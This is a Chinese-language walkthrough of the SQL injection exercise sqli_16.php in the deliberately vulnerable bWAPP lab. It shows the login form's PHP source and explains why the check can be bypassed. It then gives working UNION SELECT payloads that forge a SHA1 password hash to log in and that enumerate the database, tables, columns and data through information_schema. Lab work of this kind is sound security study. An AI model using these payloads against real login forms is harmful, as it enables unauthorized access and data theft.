1. 程式人生 > >SQL註入之bWAPP之sqli_16.php

SQL註入之bWAPP之sqli_16.php

bWAPP之sqli_16.php Login Form/User SQL註入登錄

SQL Injection (Login Form/User),這個註入真的讓我崩潰,說好的單引號報錯後,相應的改SQL語句,然而並沒用,然後求助身邊的大牛,他說這個好像不一樣,曾經好像是一道CTF的題,和一般的SQL註入不一樣,但是一時想不起來怎麽秀的了,然後終於想了起來,接著帶著我一頓操作,終於明白是怎麽回事了。
這一切都要從代碼講起,先看代碼:
技術分享圖片
從第二行開始,$login參數接收傳入的login,$password接收傳入的password,sqli($password)這個是設置難度的,這裏沒有用,接著將password使用sha1方式hash,然後是SQL查詢語句,只查詢了login,接下來是第15行$recordset連接數據庫並使用$sql的查詢語句,在看if、else語句的else部分,第23行$row取出查詢結果的一組作為關聯數組,這點很重要,還有下面一點,第25行的判斷句“if($row["login"] && $password == $row["password"])”,這裏要使$row["login"]為真而且$password == $row["password"]),這要怎麽弄呢,有方法,$row["login"]不是$login,而是查詢後存放在$row的login的值,同理第9行$passwrod和hash值只要等於$row["password"]),所以可以構造SQL語句了,這裏比較難受的問題是,你不知道字段數和login和password對應的字段的位置,所以我們需要黑白盒結合起來,打開數據庫查詢字段和位置,(代碼在最後附上)如圖:
技術分享圖片
可以看到password在第三個字段處,我們讓password的值為“1”,在線MD5一下,找到sha1對應的hash值為“356a192b7913b04c54574d18c28d46e6395428ab”,開始構造查詢語句,輸入“
form=submit
&login=‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+
&password=1
”,結果如圖:
技術分享圖片
再詳細說下原因:將“‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”賦給login,$sql就成了“$sql = "SELECT * FROM users WHERE login = ‘" ‘ union select 1,2,"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+"‘";”所以$recordset從數據庫中搜索就有了返回值,即$row["login"]返回不為空,這裏第一個條件就構成了。後面POST的“&password=1”,1的hash的值被我們添加到聯合查詢語句裏了,這樣返回的顯示中就有1的hash值,即返回的查詢有1的hash值,如此$row["password"]的值就是我們傳入到password位置的1的hash值了,這樣$password的值就等於$row["password"],所以第25行的if判斷語句就為真了,是不是很有意思。
下面就是正常的SQL查詢了,我也跟著在來一遍。
1、查詢數據庫等信息:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,5,6,7,8,9 #+”,結果如圖:
技術分享圖片
2、查詢表名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,table_name,6,7,8,9 from information_schema.tables where table_schema=‘Bwapp‘ #+”,可以看見表名為“Blog”並且還有一個“wapp”數據庫,可以自己嘗試一下,結果如圖:
技術分享圖片
3、查詢字段名:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,column_name,6,7,8,9 from information_schema.columns where table_name=‘Blog‘ #+”,結果如圖:
技術分享圖片
4、查詢字段的內容:
輸入“login=‘ union select 1,group_concat(database(),"||",version(),"||",user()),"356a192b7913b04c54574d18c28d46e6395428ab",4,id,6,7,8,9 from Blog #+”。

部分代碼如下:

<?php
    if(isset($_POST["form"]))
    {
        $login = $_POST["login"];
        $login = sqli($login);

        $password = $_POST["password"];
        $password = sqli($password);
        $password = hash("sha1", $password, false);

        $sql = "SELECT * FROM users WHERE login = ‘" . $login . "‘";

        // echo $sql;

        $recordset = mysql_query($sql, $link);

        if(!$recordset)
        {
            die("Error: " . mysql_error());
        }
        else
        {
            $row = mysql_fetch_array($recordset);

            if($row["login"] && $password == $row["password"])
            {
                // $message = "<font color=\"green\">Welcome " . ucwords($row["login"]) . "...</font>";
                $message =  "<p>Welcome <b>" . ucwords($row["login"]) . "</b>, how are you today?</p><p>Your secret: <b>" . ucwords($row["secret"]) .    "</b></p>";
                // $message = $row["login"];
            }
            else
            {
                $message = "<font color=\"red\">Invalid credentials!</font>";
            }
        }
        mysql_close($link);
    }
    echo $message;
?>

SQL註入之bWAPP之sqli_16.php